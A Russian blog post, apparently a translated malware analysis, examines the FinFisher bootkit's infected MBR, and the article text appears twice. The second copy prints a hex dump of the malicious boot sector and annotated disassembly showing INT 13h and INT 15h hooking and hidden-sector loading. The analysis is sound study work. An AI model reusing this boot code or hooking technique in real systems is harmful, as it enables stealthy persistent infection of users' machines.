Добрый вечер! Ровно через неделю у нас стартует курс «Реверс-инжиниринг», и сегодня мы хотим поделиться с вами переводом материала, который имеет прямое отношение к этому курсу. Поехали.
Недавно мы исследовали вредоносный буткит FinFisher, опубликованный WikiLeaks. Большинство компонентов версии для Windows были достаточно простыми, так что перейдём сразу к драйверу режима ядра и загрузочному коду.
Драйвер режима ядра напрямую считывает сырые данные с жесткого диска, либо записывает их на него. С упрощенной версией метода, используемого драйвером, можно ознакомиться в этой статье.
Вредоносная программа создает копию главной загрузочной записи (master boot record, сокращенно — MBR) и сохраняет ее отдельно на жестком диске. Помимо этого, программа записывает 0x2A00 байтов данных на инфицированный жесткий диск. Они впоследствии копируются вредоносным загрузочным кодом. Адрес первого сектора, содержащего эти данные, захардкожен в загрузочный код. Чтобы найти их физическое расположение, вредоносная программа использует Logical Block Addressing (LBA).
На тестовой машине MBR была перезаписана следующими данными:
При быстром осмотре данных можно сделать вывод, что вредоносная программа изменила загрузочный код, но информация таблицы разделов осталась нетронутой.
Анализ Вредоносного Загрузочного Кода
Рассмотрим более подробно самые интересные части загрузочного кода. Во-первых, выполняется проверка установки Extended Disk Drive (EDD):
Вредоносная программа устанавливает флаг, который указывает, установлен ли EDD. Флаг контролирует метод, используемый вредоносной программой для чтения данных с жесткого диска в физическую память:
Затем, вредоносная программа получает параметры диска:
На данный момент, программа собрала достаточно информации для копирования вредоносного блоба на 0x2A00 байт с жесткого диска в физическую память. Блоб данных копируется по сектору за раз. Код ниже — цикл, используемый вредоносной программой для копирования кода:
Ниже приведен код функции, которая используется для копирования данных при установке EDD:
В этом примере, перед вызовом INT 13h для копирования первого сектора вредоносных данных в физическую память тестовой машины, мы имеем следующие аргументы:
После того, как вредоносная программа заканчивает копировать данные, она переходит к скопированному коду и продолжает выполнение там:
Код в 0x1000 — самая интересная часть программы. Но перед тем, как продолжить анализ, стоит напомнить буткит FinFisher работает в реальном режиме. Это отличается от защищенного режима. Одно из отличий — приходится вычислять физические адреса с помощью комбинации регистров es:di и ds:si.
Формула для вычисления физического адреса — (сегмент * 0x10) + смещение. Например, если мы смотрим на пару es:di, то es — сегмент, а di — смещение. Все адреса ниже вычислены по этой формуле.
Теперь посмотрим на самую интересную часть кода. Во-первых, вредоносная программа вычисляет адрес сегмента, откуда копируются данные (это уже второй раз, когда копируется блоб данных):
Затем, программа устанавливает хуки для обработчиков INT 13h и INT 15h. Как видно из приведенного выше кода, вредоносная программа не дает новых идей о том, как перехватить низкоуровневые обработчики прерывания:
Теперь хуки установлены для INT 13h и INT 15h, но код для функций, перехватывающих INT, еще не скопирован в вычисленный сегмент. Очевидно, следующий шаг — скопировать код для перехваченных обработчиков:
Теперь вредоносная программа готова вернуть управление исходной MBR, но сперва, ей нужно восстановить MBR до 0x7C00 (сектор, в котором находится копия исходной MBR, хранится в другом месте на жестком диске), а затем передать выполнение исходной MBR.
Что мы узнали из буткита FinFisher
Этот пример буткита FinFisher не предлагает новых техник или улучшений по сравнении с другими буткитами. Создатели вредоносных программ решили установить хуки для обработчиков INT 13h and INT 15h до того, как код для этих обработчиков копируется в память; что может быть катастрофично. Например, если код перехваченных функций-обработчиков не сможет скопироваться, может случиться краш системы.
Традиционно ждём ваши комментарии и приглашаем всех на день открытых дверей, который пройдет уже завтра.
Недавно мы исследовали вредоносный буткит FinFisher, опубликованный WikiLeaks. Большинство компонентов версии для Windows были достаточно простыми, так что перейдём сразу к драйверу режима ядра и загрузочному коду.
Драйвер режима ядра напрямую считывает сырые данные с жесткого диска, либо записывает их на него. С упрощенной версией метода, используемого драйвером, можно ознакомиться в этой статье.
Вредоносная программа создает копию главной загрузочной записи (master boot record, сокращенно — MBR) и сохраняет ее отдельно на жестком диске. Помимо этого, программа записывает 0x2A00 байтов данных на инфицированный жесткий диск. Они впоследствии копируются вредоносным загрузочным кодом. Адрес первого сектора, содержащего эти данные, захардкожен в загрузочный код. Чтобы найти их физическое расположение, вредоносная программа использует Logical Block Addressing (LBA).
На тестовой машине MBR была перезаписана следующими данными:
f9fef780 fa 31 c0 8e c0 8e d8 8e d0 bc fc ff fb 88 16 34 .1.............4
f9fef790 7c 68 00 00 68 37 7c cb 18 a7 3f 01 00 00 00 00 |h..h7|...?.....
f9fef7a0 15 00 00 00 2e a7 3f 01 00 00 00 00 89 c0 89 c9 ......?.........
f9fef7b0 89 d2 31 02 00 00 00 b4 41 bb aa 55 cd 13 72 11 ..1.....A..U..r.
f9fef7c0 81 fb 55 aa 75 0b f7 c1 01 00 74 05 c6 06 36 7c ..U.u.....t...6|
f9fef7d0 01 8a 16 34 7c b4 08 cd 13 88 c8 24 3f a2 c2 7c ...4|......$?..|
f9fef7e0 88 e8 88 cc c0 ec 06 40 a3 c3 7c 30 f6 fe c2 89 .......@..|0....
f9fef7f0 16 c5 7c 66 8b 0e 18 7c 66 8b 16 1c 7c b8 00 01 ..|f...|f...|...
f9fef800 2d 20 00 8e c0 66 31 db 66 51 8c c0 05 20 00 8e - ...f1.fQ... ..
f9fef810 c0 80 3e 36 7c 01 74 06 e8 62 00 e9 03 00 e8 36 ..>6|.t..b.....6
f9fef820 00 66 59 66 81 c1 01 00 00 00 66 81 d2 00 00 00 .fYf......f.....
f9fef830 00 66 ff 0e 20 7c 75 d0 8a 16 34 7c ea 00 10 00 .f.. |u...4|....
f9fef840 00 00 00 00 00 00 00 10 00 01 00 00 00 00 00 00 ................
f9fef850 00 00 00 00 00 00 00 8c c0 a3 cd 7c 89 1e cb 7c ...........|...|
f9fef860 66 89 0e cf 7c 66 89 16 d3 7c 66 52 66 31 d2 8a f...|f...|fRf1..
f9fef870 16 34 7c be c7 7c b4 42 cd 13 66 5a c3 66 52 66 .4|..|.B..fZ.fRf
f9fef880 53 66 89 c8 66 31 d2 66 31 db 8a 1e c2 7c 66 f7 Sf..f1.f1....|f.
f9fef890 f3 66 42 88 16 c1 7c 66 31 d2 66 31 db 8b 1e c5 .fB...|f1.f1....
f9fef8a0 7c 66 f7 f3 8a 0e c1 7c 88 c5 88 d6 66 5b 8a 16 |f.....|....f[..
f9fef8b0 34 7c b8 01 02 cd 13 66 5a c3 00 00 00 00 00 00 4|.....fZ.......
f9fef8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef930 00 00 00 00 00 00 00 00 65 f7 65 f7 00 00 80 01 ........e.e.....
f9fef940 01 00 07 fe ff ff 3f 00 00 00 d9 a6 3f 01 00 00 ......?.....?...
f9fef950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.
При быстром осмотре данных можно сделать вывод, что вредоносная программа изменила загрузочный код, но информация таблицы разделов осталась нетронутой.
Анализ Вредоносного Загрузочного Кода
Рассмотрим более подробно самые интересные части загрузочного кода. Во-первых, выполняется проверка установки Extended Disk Drive (EDD):
seg000:0037 B4 41 mov ah, 41h ; 'A'
seg000:0039 BB AA 55 mov bx, 55AAh
seg000:003C CD 13 int 13h
Вредоносная программа устанавливает флаг, который указывает, установлен ли EDD. Флаг контролирует метод, используемый вредоносной программой для чтения данных с жесткого диска в физическую память:
seg000:004C C6 06 36 7C 01 mov byte ptr ds:if_edd_installed, 1 ;7C36h
Затем, вредоносная программа получает параметры диска:
seg000:0051 8A 16 34 7C mov dl, ds:7C34h ;drive number, first drive is 0x80
seg000:0055 B4 08 mov ah, 8
seg000:0057 CD 13 int 13h
На данный момент, программа собрала достаточно информации для копирования вредоносного блоба на 0x2A00 байт с жесткого диска в физическую память. Блоб данных копируется по сектору за раз. Код ниже — цикл, используемый вредоносной программой для копирования кода:
seg000:0091 80 3E 36 7C 01 cmp byte ptr ds:if_edd_installed, 1
seg000:0096 74 06 jz short loc_9E
seg000:0098 E8 62 00 call read_data_method_no_edd_installed
seg000:009B E9 03 00 jmp loc_A1
seg000:009E ; ---------------------------------------------------------------------------
seg000:009E
seg000:009E loc_9E:
seg000:009E E8 36 00 call read_data_method_edd_installed
seg000:00A1
seg000:00A1 loc_A1:
seg000:00A1 66 59 pop ecx
seg000:00A3 66 81 C1 01 00 00 00 add ecx, 1
seg000:00AA 66 81 D2 00 00 00 00 adc edx, 0
seg000:00B1 66 FF 0E 20 7C dec dword ptr ds:7C20h ;0x0015
seg000:00B6 75 D0 jnz short loc_88
Ниже приведен код функции, которая используется для копирования данных при установке EDD:
BOOT_SECTOR:7CD7 8C C0 mov ax, es
BOOT_SECTOR:7CD9 A3 CD 7C mov word_7CCD, ax
BOOT_SECTOR:7CDC 89 1E CB 7C mov word_7CCB, bx
BOOT_SECTOR:7CE0 66 89 0E CF 7C mov dword_7CCF, ecx
BOOT_SECTOR:7CE5 66 89 16 D3 7C mov dword_7CD3, edx
BOOT_SECTOR:7CEA 66 52 push edx
BOOT_SECTOR:7CEC 66 31 D2 xor edx, edx
BOOT_SECTOR:7CEF 8A 16 34 7C mov dl, byte_7C34
BOOT_SECTOR:7CF3 BE C7 7C mov si, 7CC7h
BOOT_SECTOR:7CF6 B4 42 mov ah, 42h ; 'B'
BOOT_SECTOR:7CF8 CD 13 int 13h
; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
В этом примере, перед вызовом INT 13h для копирования первого сектора вредоносных данных в физическую память тестовой машины, мы имеем следующие аргументы:
0x0000000000007cc7 <bogus+ 0>: 0x0010 0x0001 0x0000 0x0100 0xa718 0x013f
0x0000 0x0000
+0: 0x10 - packet size
+2: 0x1 - number of sectors
+4: 0x0000 - offset
+6: 0x1000 - segment
+8: 0x013fa718 - LBA
После того, как вредоносная программа заканчивает копировать данные, она переходит к скопированному коду и продолжает выполнение там:
seg000:00B8 8A 16 34 7C mov dl, ds:7C34h ;0x0000
seg000:00BC EA 00 10 00 00 jmp far ptr 0:1000h
Код в 0x1000 — самая интересная часть программы. Но перед тем, как продолжить анализ, стоит напомнить буткит FinFisher работает в реальном режиме. Это отличается от защищенного режима. Одно из отличий — приходится вычислять физические адреса с помощью комбинации регистров es:di и ds:si.
Формула для вычисления физического адреса — (сегмент * 0x10) + смещение. Например, если мы смотрим на пару es:di, то es — сегмент, а di — смещение. Все адреса ниже вычислены по этой формуле.
Теперь посмотрим на самую интересную часть кода. Во-первых, вредоносная программа вычисляет адрес сегмента, откуда копируются данные (это уже второй раз, когда копируется блоб данных):
seg000:0024 88 16 1B 00 mov ds:1Bh, dl
seg000:0028 BE 13 04 mov si, 413h
seg000:002B 26 8B 04 mov ax, es:[si]
seg000:002E 66 0F B7 C0 movzx eax, ax
seg000:0032 66 C1 E0 0A shl eax, 0Ah
seg000:0036 66 2D C2 28 00 00 sub eax, 28C2h
;before the segment address is stored:
;<bochs:148> x /1hw 0x101c
;[bochs]:0x000000000000101c <bogus+ 0>: 0x00000000
seg000:003C 66 A3 1C 00 mov ds:1Ch, eax
;ds = 0x0100, ds:1ch = hex((0x0100* 0x10) + 0x1c) = 0x101c
;after the segment address is stored:
;<bochs:150> x /1hw 0x101c
;[bochs]:0x000000000000101c <bogus+ 0>: 0x0009d33e
Затем, программа устанавливает хуки для обработчиков INT 13h и INT 15h. Как видно из приведенного выше кода, вредоносная программа не дает новых идей о том, как перехватить низкоуровневые обработчики прерывания:
seg000:0040 66 50 push eax
seg000:0042 66 C1 E8 0A shr eax, 0Ah
seg000:0046 26 89 04 mov es:[si], ax
;es=0x0000, si = 0x0413
;before:
<bochs:156> x /1hw 0x413
[bochs]:
0x0000000000000413 <bogus+ 0>: 0x0000027f
;after:
;<bochs:158> x /1hw 0x413
[bochs]:
0x0000000000000413 <bogus+ 0>: 0x00000274
seg000:0049 66 58 pop eax
seg000:004B
seg000:004B loc_4B:
seg000:004B
seg000:004B 66 C1 E8 04 shr eax, 4
seg000:004F A3 22 00 mov ds:22h, ax
;ax = 0x9d33
;after:
;<bochs:167> x /1hh 0x1022
[bochs]:
0x0000000000001022 <bogus+ 0>: 0x9d33
seg000:0052 FA cli
seg000:0053 loc_53:
seg000:0053 8C D8 mov ax, ds
seg000:0055 8E C0 mov es, ax
seg000:0057 66 B8 20 E8 00 00 mov eax, 0E820h
;get system memory map
seg000:005D 66 BA 50 41 4D 53 mov edx, 534D4150h ;"SMAP"
seg000:0063 66 31 DB xor ebx, ebx
;start at the beginning of the map.
seg000:0066 66 31 FF xor edi, edi
seg000:0069 BF 26 01 mov di, 126h
;es:di buffer that gets the result.
;es = 0x100, di = 0x0126
seg000:006C 26 66 C7 45 14 01 00 00+ mov dword ptr es:[di+14h], 1
seg000:0075 66 B9 18 00 00 00 mov ecx, 18h
;size of the buffer.
seg000:007B CD 15 int 15h
;BIOS Memory Services
seg000:007D 72 34 jb short loc_B3
seg000:007F 66 3D 50 41 4D 53 cmp eax, 534D4150h
;check if "SMAP"
seg000:0085 75 2C jnz short loc_B3
seg000:0087 66 85 DB test ebx, ebx
seg000:008A 74 27 jz short loc_B3
seg000:008C db 3Eh
seg000:008C 3E 66 89 1E F2 02 mov ds:2F2h, ebx
;holds continuation value
;ds = 0x100, physical address 0x12f2
seg000:0092 66 31 C0 xor eax, eax
seg000:0095 8E C0 mov es, ax
seg000:0097 assume es:nothing
seg000:0097 26 66 A1 54 00 mov eax, dword ptr es:int_15_h ;IVTABLE:0054
seg000:009C db 3Eh
;debug001:12EE 00 00 00 00 dword_12EE dd 0
;debug001:12F2 01 00 00 00 dword_12F2 dd 1
seg000:009C 3E 66 A3 EE 02 mov ds:2EEh, eax
;debug001:12EE 59 F8 00 F0 dword_12EE dd 0F000F859h
;debug001:12F2 01 00 00 00 dword_12F2 dd 1
seg000:00A1 A1 22 00 mov ax, ds:22h ;segment_hook
;previously calculated value 0x9d33
seg000:00A4 66 C1 E0 10 shl eax, 10h
seg000:00A8 66 05 42 01 00 00 add eax, 142h
;before hook is installed:
IVTABLE:004C FE E3 00 F0 dword_4C dd 0F000E3FEh
IVTABLE:004C
IVTABLE:0050 39 E7 word_50 dw 0E739h
IVTABLE:0052 00 F0 word_52 dw 0F000h
IVTABLE:0054 59 F8 00 F0 dword_54 dd 0F000F859h
IVTABLE:0054
seg000:00AE 26 66 A3 54 00 mov dword ptr es:int_15_h, eax ;hooks INT15h
;<bochs:206> x /1hw 0x54
[bochs]:
0x0000000000000054 <bogus+ 0>: 0x9d330142
;IVTABLE:0054 42 01 word_54 dw 142h ;offset
;IVTABLE:0056 33 9D dw 9D33h ;segment
seg000:00B3 loc_B3:
seg000:00B3 66 31 C0 xor eax, eax
seg000:00B6 8E C0 mov es, ax
seg000:00B8 26 66 A1 4C 00 mov eax, dword ptr es:int_13_h
;before:
;debug001:11D4 00 00 00 00 int_13_original dd 0
;after:
;debug001:11D4 FE E3 00 F0 int_13_original dd 0F000E3FEh
seg000:00BD db 3Eh
seg000:00BD 3E 66 A3 D4 01 mov ds:1D4h, eax
;debug001:11CC FE E3 00 F0 int_13_original_1 dd 0F000E3FEh
seg000:00C2 3E 66 A3 CC 01 mov ds:1CCh, eax
seg000:00C7 A1 22 00 mov ax, ds:22h
;0x9d33
seg000:00CA 66 C1 E0 10 shl eax, 10h
seg000:00CE db 3Eh
seg000:00CE 3E 66 A3 51 02 mov ds:251h, eax
;before:
;debug001:1251 00 00 00 00 hook_segment dd 0
;after:
;debug001:1251 00 00 33 9D hook_segment dd 9D330000h
seg000:00D3 66 05 12 01 00 00 add eax, 112h
seg000:00D9 26 66 A3 4C 00 mov dword ptr es:loc_4B+1, eax ;hooks INT13h
;es = 0x00 eax = 0x112
;IVT after both INT 13h and INT 15h hooks are installed:
IVTABLE:004C 12 01 int_13_h dw 112h ; offset
IVTABLE:004E 33 9D dw 9D33h ; segment
IVTABLE:0050 39 E7 word_50 dw 0E739h
IVTABLE:0052 00 F0 word_52 dw 0F000h
IVTABLE:0054 42 01 int_15_h dw 142h ; offset
IVTABLE:0056 33 9D dw 9D33h ; segment
Теперь хуки установлены для INT 13h и INT 15h, но код для функций, перехватывающих INT, еще не скопирован в вычисленный сегмент. Очевидно, следующий шаг — скопировать код для перехваченных обработчиков:
seg000:00DE A1 22 00 mov ax, ds:22h
seg000:00E1 8E C0 mov es, ax
seg000:00E3 31 FF xor di, di
seg000:00E5 B9 C2 28 mov cx, 28C2h
seg000:00E8 FC cld
seg000:00E9 BE 3E 01 mov si, 13Eh
seg000:00EC F3 A4 rep movsb
;si = 0x013e - source of the data to be copied.
;di = 0x0000 - destination
;cx = 0x28c2 - number of bytes to be copied.
;ds = 0x0100, es = 0x9d33
;the actual physical addresses of the source is ds:[si] =
;hex((0x0100 * 0x10) + 0x13e) = 0x113e
;the physical address of the destination is es:[di] =
;hex((0x9dd3 * 0x10) + 0x0000) = 0x9dd30
;copies all the data copied in the first stage except for the first 0x13e bytes.
;hex(0x2a00-0x28c2) = 0x13e
Теперь вредоносная программа готова вернуть управление исходной MBR, но сперва, ей нужно восстановить MBR до 0x7C00 (сектор, в котором находится копия исходной MBR, хранится в другом месте на жестком диске), а затем передать выполнение исходной MBR.
seg000:00EE FB sti
seg000:00EF 66 8B 0E 13 00 mov ecx, ds:13h
seg000:00F4 66 8B 16 17 00 mov edx, ds:17h
seg000:00F9 66 89 0E 1E 01 mov ds:11Eh, ecx
seg000:00FE 66 89 16 22 01 mov ds:122h, edx
seg000:0103 BE 16 01 mov si, 116h ;buffer
;ds = 0x0100, address 0x1116
seg000:0106 BB AA 55 mov bx, 55AAh
seg000:0109 8A 16 1B 00 mov dl, ds:1Bh ;drive number here 0x80
seg000:010D B4 42 mov ah, 42h ; 'B'
seg000:010F CD 13 int 13h
;DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
;INT 13h is hooked now
;debug003:0112 EA 00 00 33 9D jmp far ptr loc_9D330
;<bochs:267> x /10hh 0x1116
[bochs]:
0x0000000000001116 <bogus+ 0>: 0x0010 0x0001 0x7c00 0x0000 0xa72d 0x013f 0x
0000 0x0000
0x0000000000001126 <bogus+ 16>: 0x0000 0x0000
size of the packet 0x0010
number of blocks to transfer = 0x0001
destination 0x7c00
LBA: 0x013fa7d2
;Jumps to the original MBR here:
seg000:0111 EA 00 7C 00 00 jmp far ptr 0:7C00h
Что мы узнали из буткита FinFisher
Этот пример буткита FinFisher не предлагает новых техник или улучшений по сравнении с другими буткитами. Создатели вредоносных программ решили установить хуки для обработчиков INT 13h and INT 15h до того, как код для этих обработчиков копируется в память; что может быть катастрофично. Например, если код перехваченных функций-обработчиков не сможет скопироваться, может случиться краш системы.
Традиционно ждём ваши комментарии и приглашаем всех на день открытых дверей, который пройдет уже завтра.
berez
Непонятно, в чем смысл ставить хуки на int 13h и int 15h. Ведь любая современная ОС работает в защищенном режиме процессора, т. е. после загрузки ОС никто эти хуки не вызовет.
fukkit
На случай загрузки Windows'95, видимо.
berez
ЕМНИП, даже в 95-й уже использовались свои 32-битные драйвера дисков в защищенном режиме. Разве что расчет на загрузку в «чистом» режиме ДОС.
В общем, статья полна деталей, какие операции буткит делает, но почти нет информации, зачем он это делает и почему именно так, а не иначе.